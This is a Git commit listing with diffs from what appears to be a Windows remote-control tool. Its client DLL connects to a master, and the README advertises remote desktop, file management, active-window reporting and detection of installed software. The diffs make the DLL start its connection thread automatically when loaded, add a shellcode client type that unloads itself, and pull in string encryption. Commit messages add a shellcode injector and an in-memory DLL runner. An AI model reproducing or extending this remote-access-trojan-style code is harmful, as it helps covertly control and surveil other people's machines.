7 Commits

Author SHA1 Message Date
yuanyuanxiang
9078f1eb10 Merge pull request #90 from yuanyuanxiang/dev
Update client building feature / All in one
2025-04-30 03:23:38 +08:00
yuanyuanxiang
e31aafcdb5 Update client building feature / All in one 2025-04-30 03:19:20 +08:00
yuanyuanxiang
8be2456b91 Merge pull request #89 from yuanyuanxiang/dev
Unify all log recording in the program
2025-04-27 04:18:11 +08:00
yuanyuanxiang
4783a43e9e Use a timer to check the trail status 2025-04-27 03:52:33 +08:00
yuanyuanxiang
685e0a1e3f Unify all log recording in the program 2025-04-27 03:22:42 +08:00
yuanyuanxiang
630f801574 Merge pull request #88 from yuanyuanxiang/dev
Implement a shell code injector
2025-04-24 21:45:09 +08:00
yuanyuanxiang
4926cdb19c Implement a shell code injector 2025-04-24 03:03:42 +08:00
35 changed files with 74267 additions and 253 deletions

View File

@@ -37,7 +37,8 @@
![桌面管理](./images/RemoteSet.jpg) ![桌面管理](./images/RemoteSet.jpg)
桌面管理即"远程桌面",控制远程机器。可以通过菜单设置远程桌面的参数: 桌面管理即"远程桌面",控制远程机器。可以通过菜单设置远程桌面的参数:
屏幕截图方法支持GDI或DXGI图像压缩方法支持灰度图像传输、屏幕差异算法和H264压缩。虚拟桌面尚未开发,但也是能支持的。 屏幕截图方法支持GDI或DXGI图像压缩方法支持灰度图像传输、屏幕差异算法和H264压缩。
另外,支持上报活动窗口和检测指定软件。
![文件管理](./images/FileManage.jpg) ![文件管理](./images/FileManage.jpg)
@@ -75,9 +76,9 @@
![PasswordGen](./images/PasswordGen.jpg) ![PasswordGen](./images/PasswordGen.jpg)
当前对生成服务功能进行了限制需要取得口令方可操作。给新编译的程序14天试用期过期之后生成服务端需要申请"序列号" 当前对生成服务功能进行了限制需要取得口令方可操作。给新编译的程序14天试用期过期之后生成服务端需要凭借"序列号"申请口令
如果要对其他功能乃至整个程序启动授权逻辑,或者屏蔽该授权逻辑,请参考`OnOnlineBuildClient`函数。 如果要对其他功能乃至整个程序启动授权逻辑,或者屏蔽该授权逻辑,请参考`OnOnlineBuildClient`函数。
序列号包含授权日期范围,确保一机一码;授权逻辑会检测计算机日期未被篡改。 “口令”包含授权日期范围,确保一机一码;授权逻辑会检测计算机日期未被篡改。生成口令需使用密码。
## 受控程序 ## 受控程序
![主界面](./images/TestRun.jpg) ![主界面](./images/TestRun.jpg)
@@ -134,6 +135,14 @@ Release v1.0.8:
- Add `HPSocket` libraries which may be used in the future, and add static ffmpeg libraries to build Win64 master; - Add `HPSocket` libraries which may be used in the future, and add static ffmpeg libraries to build Win64 master;
- Implement a memory DLL runner: the `TestRun` program request DLL from master and execute in memory. - Implement a memory DLL runner: the `TestRun` program request DLL from master and execute in memory.
**2025.04.30**
Release v1.0.9
- Update client building feature / All in one; The master will only accept the clients built by itself.
- Improve authorization feature.
# 沟通反馈 # 沟通反馈
QQ962914132 QQ962914132

BIN
Releases/v1.0.9.7z Normal file

Binary file not shown.

View File

@@ -11,7 +11,7 @@
#define CLIENT_PARALLEL_NUM 1 #define CLIENT_PARALLEL_NUM 1
// Զ<>̵<EFBFBD>ַ // Զ<>̵<EFBFBD>ַ
CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL}; CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION};
// <20><><EFBFBD>տͻ<D5BF><CDBB><EFBFBD>ֻ<EFBFBD><D6BB>2<EFBFBD><32>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>: g_SETTINGS<47><53>g_MyApp<70><70><EFBFBD><EFBFBD>g_SETTINGS<47><53>Ϊg_MyApp<70>ij<EFBFBD>Ա. // <20><><EFBFBD>տͻ<D5BF><CDBB><EFBFBD>ֻ<EFBFBD><D6BB>2<EFBFBD><32>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>: g_SETTINGS<47><53>g_MyApp<70><70><EFBFBD><EFBFBD>g_SETTINGS<47><53>Ϊg_MyApp<70>ij<EFBFBD>Ա.
// <20><><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֻ<EFBFBD><D6BB>һ<EFBFBD><D2BB>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>: g_MyApp // <20><><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֻ<EFBFBD><D6BB>һ<EFBFBD><D2BB>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>: g_MyApp
@@ -269,6 +269,23 @@ int main(int argc, const char *argv[])
} }
#else #else
extern "C" __declspec(dllexport) void TestRun(char* szServerIP, int uPort);
// Auto run main thread after load the DLL
DWORD WINAPI AutoRun(LPVOID param) {
do
{
TestRun(NULL, 0);
} while (S_SERVER_EXIT == g_MyApp.g_bExit);
if (g_MyApp.g_Connection->ClientType() == CLIENT_TYPE_SHELLCODE) {
HMODULE hInstance = (HMODULE)param;
FreeLibraryAndExitThread(hInstance, -1);
}
return 0;
}
BOOL APIENTRY DllMain( HINSTANCE hInstance, BOOL APIENTRY DllMain( HINSTANCE hInstance,
DWORD ul_reason_for_call, DWORD ul_reason_for_call,
LPVOID lpReserved LPVOID lpReserved
@@ -277,13 +294,13 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance,
switch (ul_reason_for_call) switch (ul_reason_for_call)
{ {
case DLL_PROCESS_ATTACH: case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
{ {
g_MyApp.g_hInstance = (HINSTANCE)hInstance; g_MyApp.g_hInstance = (HINSTANCE)hInstance;
CloseHandle(CreateThread(NULL, 0, AutoRun, hInstance, 0, NULL));
break; break;
} }
case DLL_PROCESS_DETACH: case DLL_PROCESS_DETACH:
g_MyApp.g_bExit = S_CLIENT_EXIT;
break; break;
} }
return TRUE; return TRUE;
@@ -294,14 +311,17 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
{ {
ClientApp& app(g_MyApp); ClientApp& app(g_MyApp);
CONNECT_ADDRESS& settings(*(app.g_Connection)); CONNECT_ADDRESS& settings(*(app.g_Connection));
app.g_bExit = S_CLIENT_NORMAL; if (app.IsThreadRun()) {
if (strlen(szServerIP)>0 && uPort>0)
{
settings.SetServer(szServerIP, uPort); settings.SetServer(szServerIP, uPort);
return;
} }
app.SetThreadRun(TRUE);
app.SetProcessState(S_CLIENT_NORMAL);
settings.SetServer(szServerIP, uPort);
HANDLE hThread = CreateThread(NULL,0,StartClient, &app,0,NULL); HANDLE hThread = CreateThread(NULL,0,StartClient, &app,0,NULL);
if (hThread == NULL) { if (hThread == NULL) {
app.SetThreadRun(FALSE);
return; return;
} }
#ifdef _DEBUG #ifdef _DEBUG
@@ -316,7 +336,7 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
extern "C" __declspec(dllexport) void StopRun() { g_MyApp.g_bExit = S_CLIENT_EXIT; } extern "C" __declspec(dllexport) void StopRun() { g_MyApp.g_bExit = S_CLIENT_EXIT; }
// <20>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>ֹͣ // <20>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>ֹͣ
extern "C" __declspec(dllexport) bool IsStoped() { return g_MyApp.g_bThreadExit; } extern "C" __declspec(dllexport) bool IsStoped() { return g_MyApp.g_bThreadExit && ClientApp::GetCount() == 0; }
// <20>Ƿ<EFBFBD><C7B7>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD> // <20>Ƿ<EFBFBD><C7B7>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
extern "C" __declspec(dllexport) BOOL IsExit() { return g_MyApp.g_bExit; } extern "C" __declspec(dllexport) BOOL IsExit() { return g_MyApp.g_bExit; }
@@ -460,7 +480,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
} }
} }
app.g_bThreadExit = false; app.SetThreadRun(TRUE);
while (app.m_bIsRunning(&app)) while (app.m_bIsRunning(&app))
{ {
ULONGLONG dwTickCount = GetTickCount64(); ULONGLONG dwTickCount = GetTickCount64();
@@ -469,12 +489,13 @@ DWORD WINAPI StartClient(LPVOID lParam)
for (int k = 500; app.m_bIsRunning(&app) && --k; Sleep(10)); for (int k = 500; app.m_bIsRunning(&app) && --k; Sleep(10));
continue; continue;
} }
//׼<><D7BC><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings.ClientType());
ClientObject->SendLoginInfo(login);
SAFE_DELETE(Manager); SAFE_DELETE(Manager);
Manager = new CKernelManager(&settings, ClientObject, app.g_hInstance); Manager = new CKernelManager(&settings, ClientObject, app.g_hInstance);
//׼<><D7BC><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings);
ClientObject->SendLoginInfo(login);
do do
{ {
Manager->SendHeartbeat(); Manager->SendHeartbeat();
@@ -493,7 +514,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
Mprintf("StartClient end\n"); Mprintf("StartClient end\n");
delete ClientObject; delete ClientObject;
SAFE_DELETE(Manager); SAFE_DELETE(Manager);
app.g_bThreadExit = true; app.SetThreadRun(FALSE);
return 0; return 0;
} }

View File

@@ -39,6 +39,7 @@ typedef struct ClientApp
g_Connection = new CONNECT_ADDRESS(*conn); g_Connection = new CONNECT_ADDRESS(*conn);
m_bIsRunning = run; m_bIsRunning = run;
m_bShared = shared; m_bShared = shared;
g_bThreadExit = TRUE;
} }
~ClientApp() { ~ClientApp() {
SAFE_DELETE(g_Connection); SAFE_DELETE(g_Connection);
@@ -62,6 +63,22 @@ typedef struct ClientApp
while (GetCount()) while (GetCount())
Sleep(50); Sleep(50);
} }
bool IsThreadRun() {
m_Locker.Lock();
BOOL n = g_bThreadExit;
m_Locker.Unlock();
return FALSE == n;
}
void SetThreadRun(BOOL run = TRUE) {
m_Locker.Lock();
g_bThreadExit = !run;
m_Locker.Unlock();
}
void SetProcessState(State state = S_CLIENT_NORMAL) {
m_Locker.Lock();
g_bExit = state;
m_Locker.Unlock();
}
}ClientApp; }ClientApp;
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE); ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE);

View File

@@ -58,31 +58,31 @@ BOOL SetKeepAliveOptions(int socket, int nKeepAliveSec = 180) {
// <20><><EFBFBD><EFBFBD> TCP <20><><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1> // <20><><EFBFBD><EFBFBD> TCP <20><><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1>
int enable = 1; int enable = 1;
if (setsockopt(socket, SOL_SOCKET, SO_KEEPALIVE, &enable, sizeof(enable)) < 0) { if (setsockopt(socket, SOL_SOCKET, SO_KEEPALIVE, &enable, sizeof(enable)) < 0) {
std::cerr << "Failed to enable TCP keep-alive" << std::endl; Mprintf("Failed to enable TCP keep-alive\n");
return FALSE; return FALSE;
} }
// <20><><EFBFBD><EFBFBD> TCP_KEEPIDLE (3<><33><EFBFBD>ӿ<EFBFBD><D3BF>к<EFBFBD><D0BA><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD> keep-alive <20><>) // <20><><EFBFBD><EFBFBD> TCP_KEEPIDLE (3<><33><EFBFBD>ӿ<EFBFBD><D3BF>к<EFBFBD><D0BA><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD> keep-alive <20><>)
if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPIDLE, &nKeepAliveSec, sizeof(nKeepAliveSec)) < 0) { if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPIDLE, &nKeepAliveSec, sizeof(nKeepAliveSec)) < 0) {
std::cerr << "Failed to set TCP_KEEPIDLE" << std::endl; Mprintf("Failed to set TCP_KEEPIDLE\n");
return FALSE; return FALSE;
} }
// <20><><EFBFBD><EFBFBD> TCP_KEEPINTVL (5<><35><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD>) // <20><><EFBFBD><EFBFBD> TCP_KEEPINTVL (5<><35><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD>)
int keepAliveInterval = 5; // 5<><35> int keepAliveInterval = 5; // 5<><35>
if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPINTVL, &keepAliveInterval, sizeof(keepAliveInterval)) < 0) { if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPINTVL, &keepAliveInterval, sizeof(keepAliveInterval)) < 0) {
std::cerr << "Failed to set TCP_KEEPINTVL" << std::endl; Mprintf("Failed to set TCP_KEEPINTVL\n");
return FALSE; return FALSE;
} }
// <20><><EFBFBD><EFBFBD> TCP_KEEPCNT (<28><><EFBFBD><EFBFBD>5<EFBFBD><35>̽<EFBFBD><CCBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD>ӶϿ<D3B6>) // <20><><EFBFBD><EFBFBD> TCP_KEEPCNT (<28><><EFBFBD><EFBFBD>5<EFBFBD><35>̽<EFBFBD><CCBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD>ӶϿ<D3B6>)
int keepAliveProbes = 5; int keepAliveProbes = 5;
if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPCNT, &keepAliveProbes, sizeof(keepAliveProbes)) < 0) { if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPCNT, &keepAliveProbes, sizeof(keepAliveProbes)) < 0) {
std::cerr << "Failed to set TCP_KEEPCNT" << std::endl; Mprintf("Failed to set TCP_KEEPCNT\n");
return FALSE; return FALSE;
} }
std::cout << "TCP keep-alive settings applied successfully" << std::endl; Mprintf("TCP keep-alive settings applied successfully\n");
return TRUE; return TRUE;
} }
#endif #endif
@@ -172,7 +172,7 @@ inline std::string GetIPAddress(const char *hostName)
int status = getaddrinfo(hostName, nullptr, &hints, &res); int status = getaddrinfo(hostName, nullptr, &hints, &res);
if (status != 0) { if (status != 0) {
std::cerr << "getaddrinfo failed: " << gai_strerror(status) << std::endl; Mprintf("getaddrinfo failed: %s\n", gai_strerror(status));
return ""; return "";
} }
@@ -180,7 +180,7 @@ inline std::string GetIPAddress(const char *hostName)
char ip[INET_ADDRSTRLEN]; char ip[INET_ADDRSTRLEN];
inet_ntop(AF_INET, &(addr->sin_addr), ip, sizeof(ip)); inet_ntop(AF_INET, &(addr->sin_addr), ip, sizeof(ip));
std::cout << "IP Address: " << ip << std::endl; Mprintf("IP Address: %s \n", ip);
freeaddrinfo(res); // <20><>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD>ͷŵ<CDB7>ַ<EFBFBD><D6B7>Ϣ freeaddrinfo(res); // <20><>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD>ͷŵ<CDB7>ַ<EFBFBD><D6B7>Ϣ
return ip; return ip;
@@ -225,20 +225,20 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
// <20><>szServerIP<49><50><EFBFBD><EFBFBD><EFBFBD>ֿ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IPת<50><D7AA> // <20><>szServerIP<49><50><EFBFBD><EFBFBD><EFBFBD>ֿ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IPת<50><D7AA>
// ʹ<><CAB9> inet_pton <20><><EFBFBD><EFBFBD> inet_addr (inet_pton <20><><EFBFBD><EFBFBD>֧<EFBFBD><D6A7> IPv4 <20><> IPv6) // ʹ<><CAB9> inet_pton <20><><EFBFBD><EFBFBD> inet_addr (inet_pton <20><><EFBFBD><EFBFBD>֧<EFBFBD><D6A7> IPv4 <20><> IPv6)
if (inet_pton(AF_INET, server.c_str(), &ServerAddr.sin_addr) <= 0) { if (inet_pton(AF_INET, server.c_str(), &ServerAddr.sin_addr) <= 0) {
std::cerr << "Invalid address or address not supported" << std::endl; Mprintf("Invalid address or address not supported\n");
return false; return false;
} }
// <20><><EFBFBD><EFBFBD><EFBFBD>׽<EFBFBD><D7BD><EFBFBD> // <20><><EFBFBD><EFBFBD><EFBFBD>׽<EFBFBD><D7BD><EFBFBD>
m_sClientSocket = socket(AF_INET, SOCK_STREAM, 0); m_sClientSocket = socket(AF_INET, SOCK_STREAM, 0);
if (m_sClientSocket == -1) { if (m_sClientSocket == -1) {
std::cerr << "Failed to create socket" << std::endl; Mprintf("Failed to create socket\n");
return false; return false;
} }
// <20><><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // <20><><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (connect(m_sClientSocket, (struct sockaddr*)&ServerAddr, sizeof(ServerAddr)) == -1) { if (connect(m_sClientSocket, (struct sockaddr*)&ServerAddr, sizeof(ServerAddr)) == -1) {
std::cerr << "Connection failed" << std::endl; Mprintf("Connection failed\n");
close(m_sClientSocket); close(m_sClientSocket);
m_sClientSocket = -1; // <20><><EFBFBD><EFBFBD><EFBFBD>׽<EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD>Ч m_sClientSocket = -1; // <20><><EFBFBD><EFBFBD><EFBFBD>׽<EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD>Ч
return false; return false;
@@ -327,6 +327,8 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
} }
} }
} }
CloseHandle(This->m_hWorkThread);
This->m_hWorkThread = NULL;
This->m_bWorkThread = S_STOP; This->m_bWorkThread = S_STOP;
This->m_bIsRunning = FALSE; This->m_bIsRunning = FALSE;
delete[] szBuffer; delete[] szBuffer;
@@ -352,62 +354,51 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
//<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD>ͷ //<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD>ͷ
if (memcmp(m_szPacketFlag, szPacketFlag, FLAG_LENGTH) != 0) if (memcmp(m_szPacketFlag, szPacketFlag, FLAG_LENGTH) != 0)
{ {
throw "Bad Buffer"; Mprintf("[ERROR] OnServerReceiving memcmp fail: unknown header '%s'\n", szPacketFlag);
m_CompressedBuffer.ClearBuffer();
break;
} }
ULONG ulPackTotalLength = 0; ULONG ulPackTotalLength = 0;
CopyMemory(&ulPackTotalLength, m_CompressedBuffer.GetBuffer(FLAG_LENGTH), CopyMemory(&ulPackTotalLength, m_CompressedBuffer.GetBuffer(FLAG_LENGTH), sizeof(ULONG));
sizeof(ULONG));
//--- <20><><EFBFBD>ݵĴ<DDB5>С<EFBFBD><D0A1>ȷ<EFBFBD>ж<EFBFBD> //--- <20><><EFBFBD>ݵĴ<DDB5>С<EFBFBD><D0A1>ȷ<EFBFBD>ж<EFBFBD>
ULONG len = m_CompressedBuffer.GetBufferLength(); ULONG len = m_CompressedBuffer.GetBufferLength();
if (ulPackTotalLength && len >= ulPackTotalLength) if (ulPackTotalLength && len >= ulPackTotalLength)
{ {
m_CompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, FLAG_LENGTH);//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7> shine
m_CompressedBuffer.ReadBuffer((PBYTE) &ulPackTotalLength, sizeof(ULONG));
ULONG ulOriginalLength = 0; ULONG ulOriginalLength = 0;
m_CompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, FLAG_LENGTH);//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7> shine
m_CompressedBuffer.ReadBuffer((PBYTE) &ulPackTotalLength, sizeof(ULONG));
m_CompressedBuffer.ReadBuffer((PBYTE) &ulOriginalLength, sizeof(ULONG)); m_CompressedBuffer.ReadBuffer((PBYTE) &ulOriginalLength, sizeof(ULONG));
//50
ULONG ulCompressedLength = ulPackTotalLength - HDR_LENGTH; ULONG ulCompressedLength = ulPackTotalLength - HDR_LENGTH;
PBYTE CompressedBuffer = new BYTE[ulCompressedLength]; const int bufSize = 512;
PBYTE DeCompressedBuffer = new BYTE[ulOriginalLength]; BYTE buf1[bufSize], buf2[bufSize];
PBYTE CompressedBuffer = ulCompressedLength > bufSize ? new BYTE[ulCompressedLength] : buf1;
PBYTE DeCompressedBuffer = ulCompressedLength > bufSize ? new BYTE[ulOriginalLength] : buf2;
m_CompressedBuffer.ReadBuffer(CompressedBuffer, ulCompressedLength); m_CompressedBuffer.ReadBuffer(CompressedBuffer, ulCompressedLength);
size_t iRet = uncompress(DeCompressedBuffer, size_t iRet = uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength);
&ulOriginalLength, CompressedBuffer, ulCompressedLength);
if (Z_SUCCESS(iRet))//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD>ɹ<EFBFBD> if (Z_SUCCESS(iRet))//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD>ɹ<EFBFBD>
{ {
CBuffer m_DeCompressedBuffer;
m_DeCompressedBuffer.WriteBuffer(DeCompressedBuffer,
ulOriginalLength);
//<2F><>ѹ<EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݺͳ<DDBA><CDB3>ȴ<EFBFBD><C8B4>ݸ<EFBFBD><DDB8><EFBFBD><EFBFBD><EFBFBD>Manager<65><72><EFBFBD>д<EFBFBD><D0B4><EFBFBD> ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶<EFBFBD>̬ //<2F><>ѹ<EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݺͳ<DDBA><CDB3>ȴ<EFBFBD><C8B4>ݸ<EFBFBD><DDB8><EFBFBD><EFBFBD><EFBFBD>Manager<65><72><EFBFBD>д<EFBFBD><D0B4><EFBFBD> ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶<EFBFBD>̬
//<2F><><EFBFBD><EFBFBD>m_pManager<65>е<EFBFBD><D0B5><EFBFBD><EFBFBD>һ<E0B2BB><D2BB><EFBFBD><EFBFBD><EFBFBD>ɵ<EFBFBD><C9B5>õ<EFBFBD>OnReceive<76><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB> //<2F><><EFBFBD><EFBFBD>m_pManager<65>е<EFBFBD><D0B5><EFBFBD><EFBFBD>һ<E0B2BB><D2BB><EFBFBD><EFBFBD><EFBFBD>ɵ<EFBFBD><C9B5>õ<EFBFBD>OnReceive<76><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
if (m_DataProcess) if (m_DataProcess)
m_DataProcess(m_Manager, (PBYTE)m_DeCompressedBuffer.GetBuffer(0), m_DataProcess(m_Manager, (PBYTE)DeCompressedBuffer, ulOriginalLength);
m_DeCompressedBuffer.GetBufferLength());
} }
else{ else{
Mprintf("[ERROR] uncompress fail: dstLen %d, srcLen %d\n", ulOriginalLength, ulCompressedLength); Mprintf("[ERROR] uncompress fail: dstLen %d, srcLen %d\n", ulOriginalLength, ulCompressedLength);
delete [] CompressedBuffer; m_CompressedBuffer.ClearBuffer();
delete [] DeCompressedBuffer;
throw "Bad Buffer";
} }
delete [] CompressedBuffer; if (CompressedBuffer != buf1)delete [] CompressedBuffer;
delete [] DeCompressedBuffer; if (DeCompressedBuffer != buf2)delete [] DeCompressedBuffer;
#if _DEBUG
// Mprintf("[INFO] uncompress succeed data len: %d expect: %d\n", len, ulPackTotalLength);
#endif
} }
else { else {
Mprintf("[WARNING] OnServerReceiving incomplete data: %d expect: %d\n", len, ulPackTotalLength); break; // received data is incomplete
break;
} }
} }
}catch(...) { }catch(...) {
@@ -436,13 +427,14 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength)
#else #else
unsigned long ulCompressedLength = ZSTD_compressBound(ulOriginalLength); unsigned long ulCompressedLength = ZSTD_compressBound(ulOriginalLength);
#endif #endif
LPBYTE CompressedBuffer = new BYTE[ulCompressedLength]; BYTE buf[1024];
LPBYTE CompressedBuffer = ulCompressedLength>1024 ? new BYTE[ulCompressedLength] : buf;
int iRet = compress(CompressedBuffer, &ulCompressedLength, (PBYTE)szBuffer, ulOriginalLength); int iRet = compress(CompressedBuffer, &ulCompressedLength, (PBYTE)szBuffer, ulOriginalLength);
if (Z_FAILED(iRet)) if (Z_FAILED(iRet))
{ {
Mprintf("[ERROR] compress failed \n"); Mprintf("[ERROR] compress failed: srcLen %d, dstLen %d \n", ulOriginalLength, ulCompressedLength);
delete [] CompressedBuffer; if (CompressedBuffer != buf) delete [] CompressedBuffer;
return FALSE; return FALSE;
} }
#if !USING_ZLIB #if !USING_ZLIB
@@ -454,20 +446,15 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength)
m_WriteBuffer.WriteBuffer((PBYTE)m_szPacketFlag, FLAG_LENGTH); m_WriteBuffer.WriteBuffer((PBYTE)m_szPacketFlag, FLAG_LENGTH);
m_WriteBuffer.WriteBuffer((PBYTE) &ulPackTotalLength,sizeof(ULONG)); m_WriteBuffer.WriteBuffer((PBYTE) &ulPackTotalLength,sizeof(ULONG));
// 5 4
//[Shine][ 30 ]
m_WriteBuffer.WriteBuffer((PBYTE)&ulOriginalLength, sizeof(ULONG)); m_WriteBuffer.WriteBuffer((PBYTE)&ulOriginalLength, sizeof(ULONG));
// 5 4 4
//[Shine][ 30 ][5]
m_WriteBuffer.WriteBuffer(CompressedBuffer,ulCompressedLength); m_WriteBuffer.WriteBuffer(CompressedBuffer,ulCompressedLength);
delete [] CompressedBuffer; if (CompressedBuffer != buf) delete [] CompressedBuffer;
CompressedBuffer = NULL;
// <20>ֿ鷢<D6BF><E9B7A2> // <20>ֿ鷢<D6BF><E9B7A2>
//shine[0035][0010][HelloWorld+12] return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(), MAX_SEND_BUFFER);
return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(),
MAX_SEND_BUFFER);
} }
} }
@@ -538,8 +525,8 @@ VOID IOCPClient::Disconnect()
VOID IOCPClient::RunEventLoop(const BOOL &bCondition) VOID IOCPClient::RunEventLoop(const BOOL &bCondition)
{ {
OutputDebugStringA("======> RunEventLoop begin\n"); Mprintf("======> RunEventLoop begin\n");
while (m_bIsRunning && bCondition) while (m_bIsRunning && bCondition)
Sleep(200); Sleep(200);
OutputDebugStringA("======> RunEventLoop end\n"); Mprintf("======> RunEventLoop end\n");
} }

View File

@@ -196,7 +196,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
BYTE bToken = COMMAND_BYE;// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> BYTE bToken = COMMAND_BYE;// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
m_ClientObject->OnServerSending((char*)&bToken, 1); m_ClientObject->OnServerSending((char*)&bToken, 1);
g_bExit = S_CLIENT_EXIT; g_bExit = S_CLIENT_EXIT;
OutputDebugStringA("======> Client exit \n"); Mprintf("======> Client exit \n");
break; break;
} }
@@ -205,7 +205,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
BYTE bToken = SERVER_EXIT;// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> BYTE bToken = SERVER_EXIT;// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
m_ClientObject->OnServerSending((char*)&bToken, 1); m_ClientObject->OnServerSending((char*)&bToken, 1);
g_bExit = S_SERVER_EXIT; g_bExit = S_SERVER_EXIT;
OutputDebugStringA("======> Server exit \n"); Mprintf("======> Server exit \n");
break; break;
} }

338
client/Loader.cpp Normal file

File diff suppressed because one or more lines are too long

View File

@@ -6,6 +6,7 @@
#include <iomanip> #include <iomanip>
#include <ctime> #include <ctime>
#include <NTSecAPI.h> #include <NTSecAPI.h>
#include "common/skCrypter.h"
// by ChatGPT // by ChatGPT
bool IsWindows11() { bool IsWindows11() {
@@ -44,7 +45,7 @@ std::string getSystemName()
} }
if (IsWindows11()) { if (IsWindows11()) {
vname = "Windows 11"; vname = "Windows 11";
